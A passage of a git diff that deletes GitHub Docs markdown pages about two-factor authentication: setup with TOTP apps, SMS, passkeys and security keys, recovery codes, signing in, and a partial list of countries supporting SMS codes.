Instead, we recommend configuring a TOTP app as your primary 2FA method. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-totp-app). - -> [!NOTE] -> Your region may not be listed in the available SMS options. We monitor SMS delivery success rates on a per region basis, and disallow setup for regions that have poor delivery rates. If you don't see your region on the list, you must set up a TOTP app instead. For more information on supported regions for SMS, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported). diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md deleted file mode 100644 index a5a9dd2006a1..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: About two-factor authentication -intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.' -redirect_from: - - /articles/about-two-factor-authentication - - /github/authenticating-to-github/about-two-factor-authentication - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: About 2FA ---- - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -For {% data variables.product.github %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.github %} generates an authentication code any time someone attempts to sign into your account. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone. - -{% data reusables.two_fa.after-2fa-add-security-key %} - -{% ifversion passkeys %} -{% data reusables.passkeys.after-2fa-optional-add-passkey %} See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). -{% endif %} - -{% ifversion fpt or ghec %} -You can also use {% data variables.product.prodname_mobile %} for 2FA after configuring a TOTP mobile app or text messages. {% data variables.product.prodname_mobile %} uses public-key cryptography to secure your account, allowing you to use any mobile device that you've used to sign in to {% data variables.product.prodname_mobile %} as your second factor. -{% endif %} - -You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) and [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data reusables.two_fa.unlink-email-address %} - -{% endif %} - -We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.github %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.github %} and {% data variables.product.prodname_desktop %}. - -{% ifversion fpt or ghec %} -If you don't enable 2FA, {% data variables.product.github %} may ask for additional verification to confirm that it is you when you sign in for the first time from a new or unrecognized device. See [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/verifying-new-devices-when-signing-in). -{% endif %} - -For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication). - -## Two-factor authentication recovery codes - -{% data reusables.two_fa.about-recovery-codes %} For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). - -{% ifversion fpt or ghec %} - -> [!WARNING] -> {% data reusables.two_fa.support-may-not-help %} For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). - -{% endif %} - -## Requiring two-factor authentication in your organization - -Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -{% data reusables.two_fa.auth_methods_2fa %} diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md deleted file mode 100644 index d64878968339..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Accessing GitHub using two-factor authentication -intro: 'With 2FA enabled, you''ll be asked to provide your 2FA authentication code, as well as your password, when you sign in to {% data variables.product.github %}.' -redirect_from: - - /articles/providing-your-2fa-security-code - - /articles/providing-your-2fa-authentication-code - - /articles/authenticating-to-github-using-fido-u2f-via-nfc - - /articles/accessing-github-using-two-factor-authentication - - /github/authenticating-to-github/accessing-github-using-two-factor-authentication - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Access GitHub with 2FA ---- - -{% ifversion 2fa-check-up-period %} - -With two-factor authentication (2FA) enabled, you'll need to use a second factor when accessing {% data variables.product.github %}through your browser. When you first configure 2FA, your account will enter a check up period for 28 days to ensure your account's 2FA methods are setup correctly. You can exit the check up period by successfully performing 2FA within 28 days. If you don't authenticate within 28 days, you'll be asked to perform 2FA inside one of your existing {% data variables.product.github %} sessions. If you cannot perform 2FA to pass the 28th day checkup, use the provided shortcut to reconfigure your 2FA settings and retain access to {% data variables.product.github %}. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -If you access {% data variables.product.github %} using other methods, such as the API or the command line, you'll authenticate using a token, application, or SSH key. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github). - -{% else %} - -With two-factor authentication enabled, you'll need to provide an authentication code{% ifversion fpt or ghec %}, tap a notification in GitHub Mobile,{% endif %} or use a security key when accessing {% data variables.product.github %} through your browser. If you access {% data variables.product.github %} using other methods, such as the API or the command line, you'll need to use an alternative form of authentication. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github). - -{% endif %} - -## Performing 2FA when signing in to the website - -After you sign in to {% data variables.product.github %} using your password, you'll need to provide an authentication code{% ifversion fpt or ghec %}, tap a notification in {% data variables.product.prodname_mobile %},{% endif %} or use a security key to perform 2FA. - -{% data variables.product.github %} will only ask you to provide your 2FA authentication code again if you've logged out, are using a new device, are performing a sensitive action, or your session expires. For more information on 2FA for sensitive actions, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/sudo-mode). - -### Generating a code through a TOTP application - -If you chose to set up two-factor authentication using a TOTP application, you can generate an authentication code for {% data variables.product.github %} at any time. In most cases, just launching the application will generate a new code. You should refer to your application's documentation for specific instructions. - -If you delete your authenticator application after configuring two-factor authentication, you'll need to provide your recovery code to get access to your account. Many TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). - -### Using a security key - -If you've set up a security key on your account, and your browser supports security keys, you can use it to complete your sign in. - -1. Using your username and password, sign in to {% data variables.product.github %} through your browser. -1. If you use a physical security key, ensure it's connected to your device. -1. To trigger the security key prompt from your operating system, select "Use security key." -1. Select the appropriate option in the prompt. Depending on your security key configuration, you may type a PIN, complete a biometric prompt, or use a physical security key. - -{% ifversion passkeys %} - -### Using a passkey - -If you have enabled 2FA, and you have added a passkey to your account, you can use the passkey to sign in. Since passkeys satisfy both password and 2FA requirements, you can complete your sign in with a single step. See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). - -{% endif %} - -{% ifversion fpt or ghec %} - -### Receiving a text message - -If you set up two-factor authentication via text messages, {% data variables.product.github %} will send you a text message with your authentication code. - -### Verifying with {% data variables.product.prodname_mobile %} - -If you have installed and signed in to {% data variables.product.prodname_mobile %}, you may choose to authenticate with {% data variables.product.prodname_mobile %} for two-factor authentication. - -1. Sign in to {% data variables.product.github %} with your browser, using your username and password. -1. {% data variables.product.github %} will send you a push notification to verify your sign in attempt. Opening the push notification or opening the {% data variables.product.prodname_mobile %} app will display a prompt, asking you to approve or reject this sign in attempt. - - > [!NOTE] - > This prompt may require you to enter a two-digit number displayed within the browser you are signing in to. - - * Upon approving the login attempt using {% data variables.product.prodname_mobile %}, your browser will complete the sign in attempt automatically. - * Rejecting the sign in attempt will prevent the authentication from finishing. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure). - -{% endif %} - -## Using two-factor authentication with the command line - -{% ifversion ghes %} -After you've enabled 2FA, you will no longer use your password to access {% data variables.product.github %} on the command line. Instead, use Git Credential Manager, a {% data variables.product.pat_generic %}, or an SSH key. -{% endif %} - -### Authenticating on the command line using Git Credential Manager - -[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) is a secure Git credential helper that runs on Windows, macOS, and Linux. For more information about Git credential helpers, see [Avoiding repetition](https://git-scm.com/docs/gitcredentials#_avoiding_repetition) in the Pro Git book. - -Setup instructions vary based on your computer's operating system. For more information, see [Download and install](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md#download-and-install) in the GitCredentialManager/git-credential-manager repository. - -### Authenticating on the command line using HTTPS - -You must create a {% data variables.product.pat_generic %} to use as a password when authenticating to {% data variables.product.github %} on the command line using HTTPS URLs. - -When prompted for a username and password on the command line, use your {% data variables.product.github %} username and {% data variables.product.pat_generic %}. The command line prompt won't specify that you should enter your {% data variables.product.pat_generic %} when it asks for your password. - -For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -### Authenticating on the command line using SSH - -Enabling 2FA doesn't change how you authenticate to {% data variables.product.github %} on the command line using SSH URLs. For more information about setting up and using an SSH key, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -{% ifversion ghes < 3.13 %} - -## Using two-factor authentication to access a repository using Subversion - -{% data reusables.subversion.sunset %} - -When you access a repository via Subversion, you must provide a {% data variables.product.pat_generic %} instead of entering your password. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). -{% endif %} - -## Troubleshooting - -If you lose access to your two-factor authentication credentials, you can use your recovery codes or another recovery method (if you've set one up) to regain access to your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data reusables.two_fa.unlink-email-address %} - -{% endif %} - -If your authentication fails several times, you may wish to synchronize your phone's clock with your mobile provider. Often, this involves checking the "Set automatically" option on your phone's clock, rather than providing your own time zone. - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-your-two-factor-authentication-method.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-your-two-factor-authentication-method.md deleted file mode 100644 index dd3332073611..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-your-two-factor-authentication-method.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Changing your two-factor authentication method -intro: You can change two-factor authentication (2FA) method without disabling 2FA entirely. -redirect_from: - - /articles/changing-two-factor-authentication-delivery-methods - - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device - - /github/authenticating-to-github/changing-two-factor-authentication-delivery-methods-for-your-mobile-device - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device - - /authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device - - /authentication/securing-your-account-with-two-factor-authentication-2fa/changing-your-preferred-two-factor-authentication-method -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Change 2FA method ---- - -You can reconfigure your two-factor authentication (2FA) settings or add new 2FA methods without disabling 2FA entirely, allowing you to keep both your recovery codes and your membership in organizations that require 2FA. - -## Changing an existing two-factor authentication method - -{% ifversion fpt or ghec %} -You can configure a different authenticator app or change your phone number, without disabling 2FA or creating a new set of recovery codes. - -### Changing the TOTP app - -{% endif %} - -You can change the time-based one-time password (TOTP) application you use to generate authentication codes. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.edit-existing-method %} -{% data reusables.two_fa.enable-totp-app-method %} -{% data reusables.two_fa.save-2fa-method-when-editing %} - -> [!WARNING] -> Changes to an existing 2FA method will only take effect after you have provided a valid code from the new method and clicked **Save**. Only replace the existing 2FA method on your device (e.g. the {% data variables.product.prodname_dotcom %} entry in your TOTP app) after your new method is saved to your {% data variables.product.prodname_dotcom %} account completely. - -{% data reusables.two_fa.manual-totp-app-setup %} - -{% ifversion fpt or ghec %} - -### Changing the SMS number - -You can change the phone number you use to receive authentication codes via SMS. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.edit-existing-method %} -{% data reusables.two_fa.enable-sms-number-method %} -{% data reusables.two_fa.save-2fa-method-when-editing %} - -{% endif %} - -## Adding additional two-factor authentication methods - -We recommend adding more than one 2FA method to your account. This ensures that you can still sign in to your account, even if you lose one of your methods. - -In addition to adding multiple 2FA methods, we strongly recommend setting up multiple recovery methods to avoid losing access to your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods). - -{% ifversion fpt or ghec %} - -### Adding a TOTP app - -You can add a time-based one-time password (TOTP) application to generate authentication codes. -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.add-additional-method %} -{% data reusables.two_fa.enable-totp-app-method %} -{% data reusables.two_fa.save-2fa-method-when-editing %} -{% data reusables.two_fa.manual-totp-app-setup %} - -{% ifversion fpt or ghec %} - -### Adding an SMS number - -{% data reusables.two_fa.sms-warning %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.add-additional-method %} -{% data reusables.two_fa.enable-sms-number-method %} -{% data reusables.two_fa.save-2fa-method-when-editing %} - -{% endif %} - -## Setting a preferred two-factor authentication method - -If you have multiple 2FA methods, you can choose a preferred method that will be shown first when you are asked to authenticate with 2FA. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -1. Under "Two-factor authentication" in "Preferred 2FA method", select your preferred 2FA method from the dropdown. - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md deleted file mode 100644 index df82a8e5e0ed..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Configuring two-factor authentication recovery methods -intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials. -redirect_from: - - /articles/downloading-your-two-factor-authentication-recovery-codes - - /articles/setting-a-fallback-authentication-number - - /articles/about-recover-accounts-elsewhere - - /articles/adding-a-fallback-authentication-method-with-recover-accounts-elsewhere - - /articles/generating-and-storing-an-account-recovery-token - - /articles/configuring-two-factor-authentication-recovery-methods - - /github/authenticating-to-github/configuring-two-factor-authentication-recovery-methods - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Configure 2FA recovery ---- -In addition to securely storing your two-factor authentication (2FA) recovery codes, we strongly recommend configuring two or more authentication methods to avoid losing access to your account. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key). - -## Downloading your two-factor authentication recovery codes - -{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication. - -To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager. - -If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update. Reconfiguring your 2FA settings without disabling 2FA will not change your recovery codes. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.show-recovery-codes %} -1. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access. - * To save your recovery codes on your device, click **Download**. - * To save a hard copy of your recovery codes, click **Print**. - * To copy your recovery codes for storage in a password manager, click **Copy**. - -## Generating a new set of recovery codes - -Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.show-recovery-codes %} -1. Under "Generate new recovery codes", click **Generate new recovery codes**. - -## Configuring backups for your time-based one-time password (TOTP) app - -Most TOTP apps support backups. If you lose access to your authentication device, you can use your TOTP app backup to access your authentication method and account credentials on a different authentication device, ensuring continued access to your 2FA-enabled account. - -The process of configuring backups is different for each TOTP app. For some examples from popular TOTP apps, see the following documentation: - -* [1Password](https://support.1password.com/backups/) -* [Google Authenticator](https://security.googleblog.com/2023/04/google-authenticator-now-supports.html) -* [Microsoft Authenticator](https://support.microsoft.com/en-us/account-billing/back-up-and-recover-account-credentials-in-the-authenticator-app-bb939936-7a8d-4e88-bc43-49bc1a700a40) - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md deleted file mode 100644 index cb43f7d84b21..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: Configuring two-factor authentication -intro: You can choose among multiple options to add a second source of authentication to your account. -redirect_from: - - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app - - /articles/configuring-two-factor-authentication-via-text-message - - /articles/configuring-two-factor-authentication-via-fido-u2f - - /articles/configuring-two-factor-authentication - - /github/authenticating-to-github/configuring-two-factor-authentication - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Configure 2FA ---- - -{% ifversion mandatory-2fa-dotcom-contributors %} -{% data reusables.two_fa.mandatory-2fa-contributors-2023 %} -{% endif %} - -You can configure two-factor authentication (2FA) using a TOTP app on mobile or desktop{% ifversion fpt or ghec %} or via text message{% endif %}. After you have configured 2FA using a TOTP app{% ifversion fpt or ghec %} or via text message{% endif %}, you can then also add security keys as alternate 2FA methods. - -We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA{% ifversion fpt or ghec %}, and security keys as backup methods instead of SMS. TOTP applications are more reliable than SMS, especially for locations outside the United States{% endif %}. Many TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device. - -{% ifversion 2fa-check-up-period %} - -After you configure 2FA, your account will enter a 28-day check up period. You can leave the check up period by successfully performing 2FA in those 28 days. Otherwise, you will be prompted to perform 2FA in an existing {% data variables.product.prodname_dotcom %} session on the 28th day. If you cannot perform 2FA to pass the checkup, you must use the provided shortcut to reconfigure your 2FA settings and retain access to {% data variables.product.prodname_dotcom %}. - -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.enterprise.prodname_managed_user %} account unless you're signed in as the setup user. For users other than the setup user, an administrator must configure 2FA on your identity provider (IdP). - -{% endif %} -{% endif %} - -> [!WARNING] -> * If you're an outside collaborator to a private repository of an organization that requires 2FA, you must leave the organization before you can disable 2FA. -> * If you're a member{% ifversion fpt or ghec %} or billing manager{% endif %} of an organization that requires 2FA, you will be unable to access that organization's resources while you have 2FA disabled. -> * If you disable 2FA, you will automatically lose access to the organization. To regain access to the organization, if you're a member{% ifversion fpt or ghec %} or billing manager{% endif %}, you must re-enable 2FA. If you're an outside collaborator, you will also lose access to any private forks you have of the organization's private repositories after disabling 2FA, and must re-enable 2FA and contact an organization owner to have access restored. - -> [!NOTE] -> You can reconfigure your 2FA settings without disabling 2FA entirely, allowing you to keep both your recovery codes and your membership in organizations that require 2FA. - -## Configuring two-factor authentication using a TOTP app - -A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. These apps can be downloaded to your phone or desktop. We recommend using cloud-based TOTP apps. {% data variables.product.prodname_dotcom %} is app-agnostic when it comes to TOTP apps, so you have the freedom to choose any TOTP app you prefer. Just search for `TOTP app` in your browser to find various options. You can also refine your search by adding keywords like `free` or `open source` to match your preferences. - -> [!TIP] -> To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time or save the "setup key", which is the TOTP secret. If 2FA is already enabled and you want to add another device, you must re-configure your TOTP app from your security settings. - -1. Download a TOTP app of your choice to your phone or desktop. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.enable-two-factor-authentication %} -{% data reusables.two_fa.enable-totp-app-method %} -{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} -{% data reusables.two_fa.backup_options_during_2fa_enrollment %} - -### Manually configuring a TOTP app - -{% data reusables.two_fa.manual-totp-app-setup %} - -{% ifversion fpt or ghec %} - -## Configuring two-factor authentication using text messages - -If you're unable to configure a TOTP app, you can also register your phone number to receive SMS messages. - -{% data reusables.two_fa.sms-warning %} -{% data reusables.two_fa.sms-cap-note %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -{% data reusables.two_fa.enable-two-factor-authentication %} -{% data reusables.two_fa.enable-sms-number-method %} -{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} -{% data reusables.two_fa.backup_options_during_2fa_enrollment %} - -{% endif %} - -{% ifversion passkeys %} - -## Configuring two-factor authentication using a passkey - -{% data reusables.passkeys.about-passkeys %} See [AUTOTITLE](/authentication/authenticating-with-a-passkey/about-passkeys). - -> [!NOTE] -> Platform authenticators like Windows Hello, Face ID, or Touch ID can be registered as a passkey instead. - -1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}. -{% data reusables.passkeys.adding-a-passkey %} - -{% endif %} - -## Configuring two-factor authentication using a security key - -{% ifversion passkeys %} - -Not all FIDO authenticators can be used as passkeys, but you can still register those authenticators as security keys. Security keys are also WebAuthn credentials, but unlike passkeys they don't require user validation. Since security keys only need to verify user presence, they only count as a second factor and must be used in conjunction with your password. - -{% else %} - -On most devices and browsers, you can use a physical security key over USB or NFC. Most browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key as well. - -{% endif %} - -Registering a security key for your account is available after enabling 2FA with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in. - -1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}. -1. Ensure that you have a WebAuthn compatible security key inserted into your device. -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security %} -1. Next to "Security keys", click **Add**. - - ![Screenshot of the "two-factor methods" section of the 2FA settings. A gray button labeled "Add" is outlined in orange.](/assets/images/help/2fa/add-security-keys-option.png) - -1. Under "Security keys", click **Register new security key**. -1. Type a nickname for the security key, then click **Add**. -1. Following your security key's documentation, activate your security key. -1. Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes). - -{% ifversion fpt or ghec %} - -## Configuring two-factor authentication using {% data variables.product.prodname_mobile %} - -You can use {% data variables.product.prodname_mobile %} for 2FA when signing into your {% data variables.product.prodname_dotcom %} account in a web browser. 2FA with {% data variables.product.prodname_mobile %} does not rely on TOTP, and instead uses public-key cryptography to secure your account. - -Once you have configured a TOTP application, or SMS, you can also use {% data variables.product.prodname_mobile %} to authenticate. If, in the future, you no longer have access to {% data variables.product.prodname_mobile %}, you will still be able to use security keys or TOTP applications to sign in. - -1. You must have already configured 2FA via a TOTP mobile app or via SMS. -1. Install [{% data variables.product.prodname_mobile %}](https://github.com/mobile). -1. Sign in to your {% data variables.product.github %} account from {% data variables.product.prodname_mobile %}. -1. Ensure {% data variables.product.prodname_mobile %} can send push notifications. If you have not opted in to push notifications, you can turn them on within notification settings in {% data variables.product.prodname_mobile %}. - -After signing in and turning on push notifications, you can now use your device for 2FA. -{% endif %} - -## Further reading - -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication) -* [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token) diff --git a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md b/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md deleted file mode 100644 index 06ae8a09cc91..000000000000 --- a/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Countries where SMS authentication is supported -intro: 'Because of delivery success rates, {% data variables.product.github %} only supports two-factor authentication via SMS for certain countries.' -redirect_from: - - /articles/countries-where-sms-authentication-is-supported - - /github/authenticating-to-github/countries-where-sms-authentication-is-supported - - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported -versions: - fpt: '*' - ghec: '*' -topics: - - 2FA -shortTitle: Countries supporting SMS ---- -If we don't support two-factor authentication via text message for your country of residence, you can set up authentication via a TOTP mobile application. For more information, see [AUTOTITLE](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). - -## Supported countries and regions for SMS authentication - -If your country or region is not on this list, then we aren't currently able to reliably deliver text messages to your country. We update this list periodically. - -<ul style="-webkit-column-count: 3; -moz-column-count: 3; column-count: 3;"> -<li>Aland Islands</li> -<li>Algeria</li> -<li>Angola</li> -<li>Anguilla</li> -<li>Australia</li> -<li>Austria</li> -<li>Bahamas</li> -<li>Bahrain</li> -<li>Belarus</li> -<li>Belgium</li> -<li>Benin</li> -<li>Bolivia</li> -<li>Bosnia and Herzegovina</li> -<li>Brazil</li> -<li>Brunei</li> -<li>Bulgaria</li> -<li>Burundi</li> -<li>Cambodia</li> -<li>Canada</li> -<li>Cape Verde</li> -<li>Cayman Islands</li> -<li>Christmas Island</li> -<li>Cocos</li> -<li>Congo, Dem Rep</li> -<li>Croatia</li> -<li>Cyprus</li> -<li>Czech Republic</li> -<li>Denmark</li> -<li>Dominica</li> -<li>Dominican Republic</li> -<li>Ecuador</li> -<li>Equatorial Guinea</li> -<li>Estonia</li> -<li>Finland/Aland Islands</li> -<li>France</li> -<li>Gambia</li> -<li>Georgia</li> -<li>Germany</li> -<li>Ghana</li> -<li>Gibraltar</li> -<li>Greece</li> -<li>Guatemala</li> -<li>Guyana</li> -<li>Hungary</li> -<li>Iceland</li> -<li>India</li> -<li>Ireland</li> -<li>Israel</li> -<li>Italy</li> -<li>Ivory Coast</li> -<li>Jamaica</li> -<li>Japan</li> -<li>Jordan</li> -<li>Kuwait</li> -<li>Latvia</li> -<li>Libya</li> -<li>Liechtenstein</li> -<li>Lithuania</li> -<li>Luxembourg</li> -<li>Madagascar</li> -<li>Malawi</li> -<li>Malaysia</li> -<li>Maldives</li> -<li>Mali</li> -<li>Malta</li> -<li>Mauritius</li> -<li>Mexico</li> -<li>Monaco</li> -<li>Montenegro</li> -<li>Montserrat</li> -<li>Mozambique</li> -<li>Namibia</li> -<li>Netherlands</li> -<li>Netherlands Antilles</li> -<li>New Zealand</li> -<li>Nigeria</li> -<li>Norway</li> -<li>Poland</li> -<li>Portugal</li> -<li>Qatar</li> -<li>Romania</li> -<li>Rwanda</li> -<li>Senegal</li> -<li>Serbia</li> -<li>Seychelles</li> -<li>Singapore</li> 